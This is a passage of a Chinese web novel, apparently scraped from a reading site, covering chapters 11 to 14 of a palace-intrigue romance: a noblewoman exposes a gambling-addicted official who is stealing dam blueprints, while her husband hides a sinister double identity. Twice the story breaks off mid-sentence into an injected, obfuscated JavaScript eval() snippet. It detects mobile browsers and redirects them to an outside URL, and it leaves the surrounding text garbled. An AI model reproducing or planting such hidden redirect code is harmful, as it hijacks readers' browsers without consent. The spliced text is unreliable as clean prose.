直待它走到某处,丛林里突然飞出一枚流箭,正中奔跑的马! 受伤的马长鸣一声,发狂地将马背上的人甩了下去。 人在地上滚落一圈,但光影未灭。 树林里几个太子暗卫迅速跃起,拔剑出鞘,追赶过去。 暗卫拨开灌木树丛,只见那人趴在地上,一动不动。 但看身形确是曹兴,二话不说将长剑刺入曹兴胸口。 刀剑入血肉,暗卫才察觉到异样。 其中一人将曹兴翻过来,赫然对上他甚至未闭上的眼睛。 胸口一个偌大的窟窿,里面的油和灯火近乎要将他的胸腔烧透,他整个身体都泛着浅淡的橙黄。 暗卫这时才意识到不对,“糟了,中计了!” 他们正要撤离,忽然听到不远处一声高呼,“大人,有人灭口!” 太子暗卫蒙住下半张脸,转头却发现去路已经被兵部来人全然堵住。 兵部为首的男人闻言大喊,“快!抓住他们!” 他身后的侍卫疾步追上! 南凌池边骤然爆发出一阵打杀声,兵部来人和太子暗卫打成一团,冷兵器相撞发出一阵刺耳翁鸣。 吵得封行渊眉眼微眯。 怎么看都没在一群五大三粗的男人间,看到那个纤细窈窕的影子。 太子暗卫忙着应付兵部兵马,但却又不是这么多人的对手。 很快就占了下风。 他们也没有注意到,曹兴肚子里的火苗越烧越旺,逐渐开始蔓延,封住了他们的去路。 封行渊眼底已经染上了几分不耐烦。 凌一看了半天,确认,“夫人好像不在这里。” 封行渊扔下一句“无趣”便离开。 他们回到封府,意外地撞见一辆马车停在后门。 马车帘幕被一只玉藕般的手臂掀起,鹿微眠探身出来,迎面对上封行渊的视线。 封行渊看见也当没看见,转身进院。 他没有捉奸的喜好,况且她是不是还心系太子也与他无关。 他们本就是陌生人,她去哪见谁都随意,只要不是别有用心要加害于他,他都能看在儿时的份上与她相安无事。 鹿微眠见封行渊这副样子,也不愿意热脸贴冷屁股,转头朝着马车内伸手。 一片死寂的门口忽然响起一道爽朗的声音,“诶呦,我老婆子要夫人亲自回家接也就罢了,怎么还敢让夫人接我下车,不用不用。” 孙嬷嬷一个健步跳了下来,“我自己行!” 暮云连忙道,“您慢着点。” 孙嬷嬷下车就笑呵呵地拉住鹿微眠的手,“我跟你说了,我自己能来,哪有主子去接下人的。” 不远处,封行渊闻言脚步微顿。 凌一很没眼力见道,“所以夫人今晚是去接了新的管事嬷嬷,主子你看夫人不是去私会……” 封行渊不喜欢这种自己好像很介意她私会谁的论调,慢悠悠地提醒,“嘴碎的话,可以缝起来。” 凌一乖乖闭上嘴。 孙嬷嬷看见他,热情地拉着鹿微眠上前,“姑爷也在啊。” 鹿微眠拉不住她,又不好当众说她刚跟封行渊吵了架,只能不自在地站在旁边。 “这倒也不必姑娘姑爷都来迎我,”孙嬷嬷笑眯眯地把鹿微眠往封行渊身边一推,“快,你们先进屋。” 鹿微眠没站稳,一个踉跄被推到封行渊身边,本能地抓住封行渊的衣袖。 封行渊被她一扯,身形朝她倾了一下,垂眸就对上那双沁水鹿眸。 无声的对视间,鹿微眠眼底带过不满,避开他的视线。 封行渊也偏头。 鹿微眠规规矩矩地松开手,正要保持距离站在旁边,就又被孙嬷嬷给推搡着往屋里走,“这时候不早了,你们快回去休息,我老婆子自己去收拾就成。” 鹿微眠这回直接被推到了封行渊身上,“诶……” “明早,我给你们做我最拿手的桂花春卷。”孙嬷嬷推鹿微眠一个人还不够,顺手带过封行渊,“姑爷你不知道,我们姑娘可喜欢吃了。” 封行渊薄唇轻启,似乎刚要拒绝,接着寝房门就被孙嬷嬷直接关上。 孙嬷嬷贴心地把他们俩关在了里面。 封行渊话一同被堵住。 鹿微眠还是吭吭哧哧地解释了一下,“嬷嬷她,性情直爽。” 封行渊问,“你今晚是去接她?” 鹿微眠看他,“不然你觉得我是去哪?” 封行渊没有回答。 鹿微眠直截了当地拆穿他,“我没有去见慕青辞。” 她把桌上那封信摆在了封行渊面前,“你看过了是不是?” “没有。” “你看过了也无妨。”鹿微眠坐在桌前,“我从前是有些鬼迷心窍,说了一些不该说的话,做了一些傻事。” “你信也罢,不信也罢。我不知道该怎么让你相信我,但我嫁进来后就没有骗过你。” “我现在对你没有秘密。” “你如果不放心,慕青辞的来信,你随意取随意看。” 封行渊很久没有说话,只在原地站了半晌。 别的不论,他不知道鹿微眠对他的信任从何而来,他轻笑,“什么东西都随意看,你就这么相信我?” “因为我希望你也能这样相信我啊。” 沉默间,少年眼底流露出些许不明情绪。 封行渊没再接话,离开了屋子。 鹿微眠咬唇,起身去洗沐。 临睡前,鹿微眠抱着一个贴着“封轸”字样的枕头,一拳打了上去! 纸张连带着名字被瞬间打皱。 鹿微眠又抚平,“听没听懂啊?” “说话。” “不说……”鹿微眠又一拳打了上去,“说不说?” 能听得到回音的屋子只有她的声音,鹿微眠索性把枕头扔到了旁边,嘟嘟囔囔地,“烦死你了,不理你了。” 鹿微眠将脸蒙进被子里。 在她印象里,封行渊从小就是个冷僻的小孩。 即便是前世也很少与她说话。 他主动开口,与她说的第一句话,是她幼时在长春宫陪公主小住时,恰好碰见慕青辞用药。 她拿着小风车在门口等公主时,看见外间站着一个小男孩。 不过与往日里不同,他露出了左眼异瞳,独自站在外间擦面具。 鹿微眠一时好奇,躲在门口偷偷看他。 就为了多看看他那多了一抹红痣的左眼。 被他发现就缩回身子,重新躲起来。 她以为自己躲得天衣无缝,殊不知发间的蝴蝶钗在门口一个劲得扑闪。 身后屋子安静了一瞬。 鹿微眠正要探头再看,一转头撞上那双染着血色的深邃瞳孔! 他毫无征兆地出现在她面前,问她,“好看吗?” 才五岁的鹿微眠被吓得心脏停滞,扁着嘴要哭不哭得回,“呜呜好看……” 他笑了,那个时候鹿微眠还分不清冷笑和开心。 现在想来,应当是冷笑。 他并不觉得她说得是真话,毕竟他们都叫他怪物。 鹿微眠长叹一口气,从某种程度上讲,她也可以理解他。 从小被当做药人,被当做怪物,在他身边的人都在利用他。 他没有可以相信的人,只有一个又一个想要将他吸干剥削压榨的恶鬼。 她和他的死对头有旧情,他不讨厌她、不恨她,没有借机报复她已经很好了。 她干嘛非要强求他,能和自己做正常的夫妻。 鹿微眠想通了。 重生这日子,她该是过给自己的。 再多的,就是对他问心无愧、他们两个安生度日就好了。 孙嬷嬷正好敲门来送牛乳,鹿微眠叫她放在桌上,也没有起身。 孙嬷嬷远远地瞄了一眼,入眼赫然是一个贴着“封轸”大名的枕头放在鹿微眠身边。 孙嬷嬷一时羞赧,忙退了出去。 她懂,新婚燕尔正是浓情蜜意的时候,新妇夜里思念丈夫再正常不过。 而此时一墙之隔,封行渊手肘撑在座椅扶手上,手指撑着额角。 对面凌一将南凌池兵部抓住太子暗卫的事禀报完,抬头对上封行渊的眼睛。 封行渊冷不丁问了一句,“你信我吗?” 凌一被问得摸不着头脑,“属下自然对您深信不疑。” 封行渊缓慢出声,不知是在跟他说话,还是在自问自答,“所以,我也信你能把这件事办 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年入目所及之处,是一个长发铺散、雪肤和寝衣都凌乱不堪的女孩,而她身边放着一个贴着他名字的软枕。 写着他名字的纸也皱皱巴巴,看起来被揉搓过一阵。 不知道拿着写了他名字的枕头做了什么坏事。 鹿微眠惊起,慌乱地拉寝衣,“你怎么走路没声?” 鹿微眠顺着他的视线看到自己身边的枕头,脑袋一抽解释道,“我随便一贴,没有用它来做什么。” 说完鹿微眠就后悔了,这话听起来为什么这么奇怪。 她又要说什么。 封行渊只兀自抬手灭了床头最后一盏烛灯。 屋内瞬间一片漆黑。 鹿微眠对黑暗极其敏感,她正要制止他,却看见他探身进了纱帐。 她被他突然凑近的身形压得后缩,“你干嘛?” 封行渊问,“不是要睡觉?” 鹿微眠没忘记她刚想开,才打算跟他保持来往距离,“我点了灯就不需要你陪了。” 封行渊绕过这个话题,想起那个贴了他大名的枕头,“抱枕头可以,不许抱我。” “我没有抱枕头,我那是……”鹿微眠哽住,又不能说她是想揍他,索性翻了个身背对他,“谁稀罕抱你。” 封行渊转头看她像个蚕蛹把自己包起来,蛄蛹到床里像是丝毫不会碰他。 确认自己安全,他也没再吭声。 时至半夜,那仿若陷入一汪春水的触感再度袭来。 水流顺着少年结实朝气的身体流淌,浸润,缠得他身体发沉。 沉梦中,他听到了铃铛声混合着少女哭-吟,犹如清脆悦耳的奏曲。 梦境里的少女始终模糊成一团,看不清脸,只有胸口一颗玫瑰红痣跌宕起伏,美艳至极。 他被少女沾染得滑腻不堪,浑身都是污秽。 他被弄脏了,他很不高兴,恶劣的报复着她。 直到最后,他听到自己愉悦的伪装声音,“现在,我们两个里里外外都脏了。” 封行渊蓦的睁开眼睛! 12. 第12章 少年睁开眼睛看到的是一团毛茸茸的发顶。 眼前人的长发被她自己蹭得极乱。 他侧卧着,身体被打开。 有人很舒服地钻在他臂弯里,蜷缩在他胸口。 封行渊看着眼前一团乱的发丝,眉头拧紧,一下子起身。 却毫无预兆地看见寝被上…… 他有片刻的怔愣。 而后,沉着脸将寝被扯开,大步流星地下了床。 屋内门窗紧闭,犹如梦境中一般昏暗,让他一时间分不清梦境和现实。 封行渊将寝被扔进浣洗房,一并换掉了自己的衣物。 脏死了。 他嫌弃地换了清水净手。 封行渊极爱干净,这是从小养成的习惯。 他很不喜欢别人的血、别人的任何东西沾在自己身上,时常要擦洗净手。 后来演变到了病态的地步,连他自己身体里出来的东西都会嫌弃。 他的欲,源于报复和玩弄人性,血腥会让他兴奋。 因此他的梦境,多与血腥和屠戮有关,梦里时常阴湿昏暗,沾染着血香。 从来没有出现过女子。 他也没有依从过爱欲,此消彼长,任由消落。 这种梦对于他来说完全陌生。 为什么会梦到。 封行渊眸色渐深。 可偏偏他想不起来梦中人是谁,也看不见她的脸。 只是觉得有些熟悉。 除此之外的就是——她的胸口有一颗极为艳丽的红痣。 封行渊在原地站了片刻,水珠顺着白皙指尖滴落,坠入水面发出“滴答”声响时,他才收回思绪。 他看着自己的手指,无法理解在梦里,自己为什么要用手把东西挖出来弄得到处都是。 最不懂的是,在梦里,他竟然会对这种能产生秽物的事情感到愉悦。 比操控人性,屠戮报复还要愉悦。 封行渊不愿多想,拿过旁边的帕子擦干净手上的水珠,回到了房内取外衣。 房内床榻上的小姑娘失去寝被和暖源,整个人团成一团,冻得哼哼唧唧。 封行渊顺便去橱柜里取了新被子,大手一挥很随意地扔在了鹿微眠身上。 临走前,他忽然在榻边停了一会儿,而后看向了鹿微眠寝裙领口。 她睡觉不老实,这会儿寝裙衣襟蹭得半褪,被子也并没有完全盖上。 封行渊极具目的性地上前,骨节分明的手指径直伸向少女领口衣襟。 似乎是要查看什么。 偏在此时,鹿微眠迷迷糊糊地睁开眼睛。 屋内的空气仿佛在一瞬间凝固。 鹿微眠还没反应过来,混沌双眸茫然地看着眼前近在咫尺的俊颜。 他倾身俯下,身影笼罩在她身上,极具压迫感。 鹿微眠看进他深不见底的眸子,莫名心跳一停,身上寒意更重。 她看见封行渊那双漂亮的手伸到自己面前,顺理成章地理解为那伸过来的手,是想要帮她盖被子的,她声音绵绵,“谢谢……我自己来。” 鹿微眠主动地把自己包裹起来,又翻身睡了过去。 封行渊失去了查看的机会,兴致缺缺地收手,但却随口悠然地回了句,“不客气。” 出门封行渊才意识到,他好似真的因为那个梦,心情愉悦。 但人,通常不会梦到自己没做过的事。 直到晨起时,鹿微眠才反应过来,“他怎么突然把被子换了?” 暮雨认真思索了一番,“可能是姑爷觉得昨晚的被子有些凉,换了个厚的。” 鹿微眠翻看着,嘟嘟囔囔道,“这也不厚啊。” 她正疑惑,暮云从屋外进来,“姑娘,前两日您说要查的工部侍郎周喆,有眉目了。” 鹿微眠听到周喆,很快被转移了注意力,“如何?” 暮雨去将房门带上,顺便出了门,屋内就只有他们两人。 暮云将周喆的行踪尽数告知,“他这些时日照常上朝、去工部点卯,还算正常,只不过最近常去典当行,拿东西换银钱。” 暮云将密信摆在鹿微眠面前,“还有就是,月十五晚,他在帝台山下,失踪了一个时辰。” “失踪?”鹿微眠凝眉,“什么意思?” “他当晚进了帝台山,钧宜以为跟丢了,没想到一个时辰后,他又出来了。” 鹿微眠记得帝台山是一座荒山,据说是前朝皇室陵墓,前朝亡了之后那边就是禁区,连村子都没有。 为什么要去帝台山。 “那晚过后,周喆曾找咱们老爷提前支月例,但是被拒绝了。” “第二日,他去了三次典当行,而且钧宜去看了,典当的有很多都是工部的公物。” 鹿微眠越听越不对劲,“公物?” 对了,前世诬陷父亲贪污的名册里,有很多杂七杂八的东西,虽然都是小物件,花瓶、字画、赏赐玉器什么的加起来也有上千两。 她父亲完全不至于去拿那些物件,原来从这会儿,周喆就开始了。 “工部侍郎的月例不低啊。” 怎么会这般缺钱。 暮云点头,“钧宜去打听,他夫人去年就与他和离,带着孩子回娘家了,他如今家中只有他自己,也没听说他家近来有什么困难之处。” “若真的有,咱们老爷也不会不让他提前支月例。” 暮云压了压声音,“然后钧宜在城中酒楼里,跟江湖人士打听到了帝台山的一些事情。” “说是帝台山下有一座地下城,每月七日开山一次,据说那一座奢靡混乱、富贵迤逦的神鬼城。” 鹿微眠在长安城内十几年,从未听过这个说法,“做……什么的?” 暮云也不知道该怎么说,“什么都做。” “而且听说,内里有半数的客人,都是达官显贵、皇亲国戚。” 鹿微眠沉默良久,轻声道,“下次开山,我去看看。” 暮云有点担心,“夫人,那听起来,并非常人可涉足。” “既然是做生意的地方,总不会拒绝客人。既然他们知道这里大多是达官显贵,也不会轻易冒犯客人,”鹿微眠盘算着,“况且,下次周喆大概率也还是要去的。我若是这次不去,又要等七日。” 但冷不丁去这种地方,鹿微眠还是怕的,“钧宜身手还好的,不行就让钧宜跟着我。” “好。” 开山之夜,恰逢初一深夜子时,不见月影。 九月仲秋天寒凄清,树影萧瑟。 帝台山禁区足有数万亩,鹿微眠不得不在禁区之外就下了车。 她一身黑金刺绣长裙,在黑夜中走动犹如流淌的暗夜星河,静谧璀璨。 地下城的入口藏在深山迷雾中,每半个时辰会有船夫准时出现在九龙溪边,接客人入城。 迷雾将去路遮盖得严严实实,鹿微眠正想细看,却被雾气熏得头昏脑涨,短暂的失去意识。 再度醒来时,鹿微眠已经看到一座巍峨城门。 上面赫然写着“帝台城”。 鹿微眠顺着指引下行,与她想象中的逼仄阴暗不同。 地下城恢弘而壮阔,灯火通明,他们下城的步梯犹如一座连接天地的天梯,直通繁华秘境,热闹非凡,甚至不输长安闹市。 下天梯后是地下护城河,一座栈桥连通城内。 城内人大多都带着面具,并不以真身示人。 再就是外邦人,各族衣饰穿着都有,几个五大三粗的西陵人坐在护城河边,身上是草原兽皮衣饰,坦露胸膛,脸上几道刀疤格外骇人,一双锐利的琥珀色瞳孔打量着入城的人。 鹿微眠极少见这样的人和场面,轻攥了下手指。 刚走过栈桥,其中一个西陵人就盯着她上前,“这位夫人,新到的尖货,要不要看看?” 鹿微眠没动,钧宜侧身先挡在了鹿微眠面前。 钧宜代替鹿微眠询问,“什么尖货?” 那西陵人“嘿嘿”一笑掀开木箱上的红绸。 木箱内躺着一个十六七岁的美少年,美眸半阖。 上身半裸,还残留着被刑讯逼迫的脆弱鞭痕。 那壮汉介绍道,“好人家出身的,身体好,还干净着。” 鹿微眠心口一悸,还是强装镇定,学着这里的交易人说话,“看着是不错,可惜家里有一个,比这身材还好玩些。” 鹿微眠说完,有些仓皇躲避的意味,径直往里走。 她万万没想到,这里人所说的尖货,竟然是人。 那西陵人见她看都没看一眼,反思了一番,询问同伴,“这中原女人现在好像也不喜欢儒雅柔弱的,咱们是不是得换一种类型了?” 鹿微眠带着帷帽往城内走,才意识到这不是特例。 这整个地下城都禁忌、奢靡得令人头晕目眩。 她似乎可以辨别出来,带着面具的多是有身份的客人,衣饰不菲。 各自前往不同的楼宇消遣。 钧宜看到了熟悉的身影,小声示意她。 鹿微眠顺着钧宜的指引看过去,径直看到了站在一幢楼阁前踟蹰的周喆。 那楼阁,是赌场。 并且比长安城内赌场要奢华许多。 鹿微眠印象中,前朝是因为赌场盛行,朝廷内部腐化严重而走向灭亡,因此太祖开朝明令禁止朝廷官员出入赌场。 想来也是因此,这里的赌场能开得这么大。 此番,也就能明白,为什么周喆近来总是缺钱。 久赌成瘾。 十有八九,周喆对图纸做手脚,弹劾她父亲取而代之,也是因为这个。 鹿微眠凝眉,转而径直走向了对面赌场。 这里的店家和小二看起来都不像是中原人,多少都带一些异族的轮廓深邃。 他们看见客人进来一律恭恭敬敬,没有因为鹿微眠看起来年纪小又是个女孩子,而轻易怠慢。 毕竟单单她身上这件黑金绣裙,便价值数金,更别提她的朱钗发饰。 这里 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小二下去,将账目交给垂头丧气的周喆,又与他说了些什么。 周喆惊愕道,“什么?不是说半月一还吗?为什么提前了七日?我上哪给你们弄钱去?!” 那小二将鹿微眠原话带去,“您赊账次数太多了,若到日子还不上,我们只能去您家里拿东西抵债。” 周喆唇角抽动,他知道这里的人能做得出来这种事,“你们胆敢擅闯官员府邸,可知这是何罪?” “朝廷官员擅自出入赌场的罪名,应当比吾等要大。” “你!” 周喆要脸要名,自知无法跟这些地痞无赖抗衡,甩下一句“知道了”,就离开了赌场。 鹿微眠收回视线,给钧宜递了个眼色。 钧宜便心领神会地偷偷跟上周喆。 鹿微眠独自坐在赌场二楼等钧宜回来。 主要原因是,她不敢在这等地方擅自行动。 不多时,店小二上来回禀,“一切按照夫人吩咐的办妥了。” 鹿微眠又付了两锭黄金,“有劳,这是定金,七日后事情办妥,我会差人来付剩下的。” 店小二连声应着,退了下去。 他很长眼色地看见鹿微眠身边陪侍的人不见了,又觉得不能亏待这个大贵人,连忙叫店里最好看的男伶去陪侍。 鹿微眠看着窗外,整个帝台城被灯火映照出的金黄光芒里透着几分猩红。 也不知是不是对这里有些偏见,她总觉得那些富丽堂皇里沾染着血色。 她不喜欢这里。 这个可以把人当牲畜的地方。 “夫人想去揽星阁吗?” 一道阴柔的声音从一旁传来,鹿微眠抬头看见一个衣着素雅,眉清目秀的男伶走上前,将糕点放在她面前。 “为什么这么问?” 男伶笑着给她倒酒,“瞧着夫人一直在看揽星阁罢了。” 鹿微眠看见街道对面,有一座八层楼阁,只不过没有点灯,静静地矗立在地台城内,像是一只沉睡的凶兽,翘角屋檐和几扇打开的窗户,宛如它的獠牙。 她方才就觉得这幢楼阁吓人,还以为是没人用的空置楼。 “不过想来夫人也不需要去,毕竟那个地方,只有那些欲望无法满足,久困成疾的人才会去跟那阁主做交易,满足他们的欲望。” “那位阁主这般神通广大?” “他可不是什么善茬,”男伶摇头,“揽星阁做的生意,可与我们这般正经生意不同,我们只图财。” “那位阁主,满足你的欲望,但要你的灵魂。一日跟他交易,一生是他的傀儡。” 男伶打开了话匣子,“五年前,有个屡次科考不中的人前来做交易,回去后茅塞顿开,考了个探花。时至今日,都是这位阁主的提线木偶,叫他做什么就做什么。” 鹿微眠凝眉,不知哪里来的风,阁楼的窗户吹得吱吖作响。 “那位探花便这般听话?” “自然。”男伶扬眉,压低声音,“这位阁主,会摄魂术。” “他极爱操纵、控制他人。平时他倒也不干涉你,但只要他想,随时可以把你变成他想要的样子。夫人这般貌美动人,若交易恐叫他占了便宜去,轻易还是不要招惹他的好。” 鹿微眠微怔,不自觉地想起她做那人傀儡娃娃的日子。 不过区别就是,她没有被用摄魂术,大抵她本身就是俘虏,完全可以清醒地被摆弄。 她当初也想过,这个人一定是在朝中安插了不少眼线,才能里应外合在新帝登基后没几天就破了城池。 思及此,她下意识攥紧裙摆。 正巧对面阁楼窗口,走过一道暗影。 一晃而过。 鹿微眠不自觉看过去,却恍惚间愣住。 “封轸?” 13. 第13章 男伶听见鹿微眠出声,但没有听清内容,不由得问道,“什么?” 鹿微眠眉头紧锁,一面起身,一面回,“没什么,我还有要事先走了。” 她拢起裙摆,快步下楼。 走到楼下,她抬头看门口的八角高楼,才愈发意识到这楼阁的阴森可怕之处。 所有打开的窗口都是深不见底的黑,仿若深渊秘境,在暗处窥探着这里的一切。 鹿微眠迟疑着,自己要不要进去看看,是不是跟那人有关。 但手伸到门口又缩回。 忽然门内好像有什么东西感应到了她的意图一般,竟然“哗啦”一声兀自打开了门! 鹿微眠吓得屏气,在大门打开的瞬间后退了一步。 察觉到她的退缩,大门又“哐当”一声关上。 鹿微眠更加惊惧地望着这座八角楼。 它像是活的一样,暗中隐藏着狐狸般狡猾的兽瞳,静静地看着她。 钧宜回来看见鹿微眠站在路中间,上前道,“夫人,怎么了?” 鹿微眠看见熟悉的人,稍稍有了些安全感,“没事,我们先回去吧。” 今日,先办周喆的事情,这件事后面再说。 应当是她看错了。 她那个乖乖夫君是吵了架,还能低头,主动来陪她睡觉,帮她掖被角的。 这些时日陪她,连手指头都没动她一根。 怎么可能跟这种地方有关系。 怎么可能跟那个把她摆弄得乱七八糟的人有关系。 而此时阁楼上,少年倚靠在窗边,手肘撑在窗口,手指抵着额头,好整以暇地看着楼下那个仿佛受惊小鹿一般的少女。 屋内外都没有点灯,因此他也没戴面具。 封行渊异瞳中闪着星星点点的猩红,唇角带起一抹乖戾的笑,听起来还有些遗憾,“吓吓就不进来了。” 可惜了,他还想知道,如果她来,她这辈子最想要得到的东西是什么。 皇后之位吗? 也不是不行。 身为慕青辞的皇后,身体却被他操控,似乎也挺有趣。 他还没有这样玩过。 鹿微眠离开帝台山的时候,整个人还魂不守舍。 以至于钧宜重复了两遍,她都没有听进去。 钧宜有些担心地询问她,“夫人,你方才看到什么了?” 鹿微眠回神,意识到自己又走神了,垂下眼帘,“抱歉。” 钧宜连连摆手,惶恐道,“夫人何须跟我道歉。” 鹿微眠定了定神才再度开口,“劳烦你再与我说一遍,你方才出去跟周喆的事。” “如您所想,周喆方才离开赌场,的确没有直接离开,”钧宜正色道,“他去了帝台城的无妄界。” “那个地方是交易情报的地方,大多数是关于江湖人的情报消息,也有悬赏刺杀,还有一些地方宝物机密,”钧宜不自觉地压低了声音,“我看见周喆,和一个人谈了很久,大概是达成了交易,先预付了定金。” 朝廷官员去交易情报。 很显然是以自己在朝中的情报优势获利。 鹿微眠这会儿非常清楚,周喆是拿了什么交易。 毕竟前世他也的确卖了水工修缮图纸,然后差人篡改。 促使了江南水坝垮塌。 周喆因为嗜赌泄密,板上钉钉。 如此熟稔,想必周喆不是第一次做这样的事情了。 这是他出卖朝廷消息最大的一件,多半不是唯一一件。 鹿微眠回到封府,这个时辰封府里外寂静得只余留风声。 鹿微眠下了车在门口停了一下,不知是出于什么原因,她鬼使神差地转头询问门口看守,“今晚,四少爷出去了吗?” 看守恭声回禀,“四少爷今晚一直在书房办公,没见出去。” 鹿微眠了然地点点头。 进院子后,她下意识地看向了书房。 看守说他没出去,可书房为什么没点灯。 鹿微眠朝着书房的方向走了过去,可越是靠近,越是屏住呼吸不敢出声。 少女纤细莹白的手指在书房房门上停留片刻,而后稍稍用力,将房门推开。 房门“吱吖”一声,屋外寒霜冷气灌入房内,落了一地冷光。 鹿微眠踏进屋内,正欲找人,屋内忽而燃起跳跃的火苗。 少年略显倦懒的声音响起,“瞧我,看着文书睡着了。” 鹿微眠循声看见封行渊坐在桌前,拿着刚刚点燃的火折子点灯。 他体贴地询问,“是到了你要就寝的时辰了吗?” 鹿微眠在模糊的光影里,又不自觉地将他与今晚看到的那个人影比对,“到了的话,你要陪我吗?” 封行渊起身,“若是你需要,总不能不陪。” 鹿微眠再度觉得自己是想多了。 为什么会觉得自己体贴的乖乖夫君是个恶鬼。 封行渊走在前面。 鹿微眠又问了一遍,“你今晚一直在书房吗?” “过阵子快到了秋猎的时节,秋猎城防围护的名册得尽快定下来。” 封行渊慢条斯理道,“怎么突然这么问?” “没什么。”鹿微眠扯了扯帕子,“我明日回一趟家,可能要在家里呆两天。” “要我去吗?” “不用,你有公务在身,不便跟我回去。”鹿微眠回司空府到底是有要紧事的,“何况我是想陪父亲母亲,你去了也多有不便。” 封行渊也没有坚持。 鹿微眠先去梳洗,这一回彻底放松了警惕,再也没把那两个人联系在一起。 她一定是最近思虑过重,想得太多了。 鹿微眠梳洗完,回到房内时,看见封行渊拿了个枕头,摆在了他们两个之间。 鹿微眠摆弄了一下,问他,“这是什么意思?” 封行渊理所当然道,“夫人夜里总要占我便宜,给你个枕头抱,我还能睡个好觉。” 鹿微眠:“……” “我没有要占你便宜。”鹿微眠知道自己睡觉不老实,总喜欢抱着什么、贴着什么,被曲解她在占便宜她甚至有点无力反驳。 鹿微眠欲言又止、止言又欲,还是心不甘情不愿地抱过枕头,“看不出来你还是个贞洁烈夫。” 封行渊又摆了两个在他们中间,“洁身自好罢了。” “夫人要是再趁我睡着,对我动手动脚,我也不介意把你绑起来。” 提到“绑”,鹿微眠心口一跳。 熟悉的记忆涌上心头,她抱着枕头缩到了床里,很没气势地警告,“你敢。” 封行渊看起来并没有接受她的警告。 但枕头摆多了的确有用。 她一晚上没碰到他,清晨醒来,小小一个人身边到处都是她摸摸抱抱的枕头。 鹿微眠晨起收拾好东西回司空府。 叶绾还以为是她又在封府受了委屈,“怎么一月回来这么多回?他欺负你了?” “他没有欺负我,”鹿微眠挽过母亲,“我就是乍一离家,有些舍不得。” “舍不得就回来。”叶绾也不介意她时常往家跑,“你及笄那年,你父亲本来还想着招一个入赘女婿,就住在家里,也免得你走远了。” 只可惜当初慕青辞与她的事情传出来后,他们就知道赘婿是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14639709|156361||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不可能了。 提起父亲,鹿微眠问着,“父亲今日上朝还没回来吗?” “最近圣上下令,江南水坝修缮工程下月之前就要准备开工,得赶在明年春汛之前完工。他们最近在忙着这些事。” 鹿微眠点头,“还是正事要紧。” 但鹿微眠何等了解鹿瑜,听闻她回家,也是以为她受了委屈,火急火燎地便回了家。 进门看见鹿微眠陪同叶绾坐在书桌前插花,仔细一番盘问,才放下心来。 鹿微眠看他,“我能有什么急事啊,还要父亲特地跑回来。” “阿眠的事,都是急事。”鹿瑜摆弄了一下桌上的鲜花,“不过也不全是因为你,这几日工部连着三日不眠不休,大家也该休沐了。今日他们来报,我赶紧把工程计划定下,就回来了。” “这事也不能再拖了。” 鹿微眠听着他的话,故作闲聊道,“周伯伯随您一起赶工吗?” 提起周喆,鹿瑜摆手,“你周伯伯说这几日生病休养,一直没去。” 叶绾知道的要比鹿微眠多一些,与鹿瑜有一搭没一搭地聊起来,“这么要紧的差事,他也告假?” “这两年他不知是怎么了,差事不好好做,先是和离,又要支月例。说是自己得了些病症,有些困难,但细问他,他又不说是什么病。想给他找个郎中,他也不答应。” 叶绾听来也觉得蹊跷,“你御下不能总是那般宽容。他身为侍郎,这么大的事不参与,不还是得你亲自补上他的差事空缺。这么大的事,你一个人也不能面面俱到。” “说不好听的,真有个疏漏,陛下问责的是你。” “这不后日他回来,我叫他安排修缮进程。”鹿瑜坐下,“剩下的事,我就不管了。” 鹿微眠听着,也没有吭声。 两日后清晨。 周喆难得出现在工部门口点卯。 值守侍卫跟他打了声招呼,“周大人来了。” 周喆应了一声,瞧着工部人烟稀少,在院内溜达了一圈。 他只知道鹿瑜那个宝贝千金回家了,休沐三日,倒是没想到其他人也有半数不在。 周喆环顾四周,趁着这会儿,朝着存放图纸的公库走过去。 正巧,在外间碰上了工部郎中。 工部郎中看见周喆很是意外,“周大人您回来了?” 周喆收敛了几分,“是啊,江南水坝工程如何了?” 工部郎中听笑了,“您倒是会休沐,把忙的晕头转向的那几天全都休过去了,眼下就是一些安排工程进展的差事了,想必司空大人也与您说过。” “是。”周喆拱手,“我这身体不争气,有劳各位。” “日后等此事结束,周某作东,宴请诸位。” “周大人也不必如此客气。” “应该的,”周喆问到,“咱们工程图纸可定下来了。” “自然。”工部郎中就是掌管图纸设计的,“前日我们校对好就封上,装匣了。” 周喆又道了几声辛苦,便找了个由头将他差走,独自进了公库。 公库的机关锁,整个工部只有鹿瑜和他能打开。 “哐当”一声重响。 沉重的铁门打开。 周喆一眼便看到上面贴了封条的匣子,伸手拿了出来。 他撕掉封条,将早就准备好的假图纸放进了匣子里,重新贴上封条,放了回去。 处理好这一切。 周喆小心翼翼地将库门锁好,将真图纸拿起,正准备溜出去。 一转身,鹿微眠扶着鹿瑜就站在他身后! 鹿瑜厉声道,“你在干什么?!” 14. 第14章 鹿瑜极少动怒发火,但一旦动怒就格外具有威慑力。 周喆被鹿瑜吓得手上一抖,原本就没有藏好的图纸从袖口滚了出来,掉在地上。 鹿瑜即便是不捡起来查看,都知道那是凝聚着整个工部心血的图纸。 这东西,工部的每一个人都知道,上了封条就不能再打开。 周喆身为工部侍郎,明知故犯,明眼人都看得出来,他别有用心。 周喆还企图狡辩,“大人,您误会了。” “你告诉我,我如何误会你?!” “之前敲定图纸,卑职没参与,如今只是想要再查验一番。” “查验需要上报,才可打开封条,你身为三品侍郎,你告诉我你不知道?!” 鹿微眠见此,眉眼微动,轻轻松开鹿瑜手臂。 提着食盒,自己先出了门。 到底是朝堂内部政务,她不好掺和。 但是她能叫别人一起掺和。 鹿微眠出门碰到工部郎中。 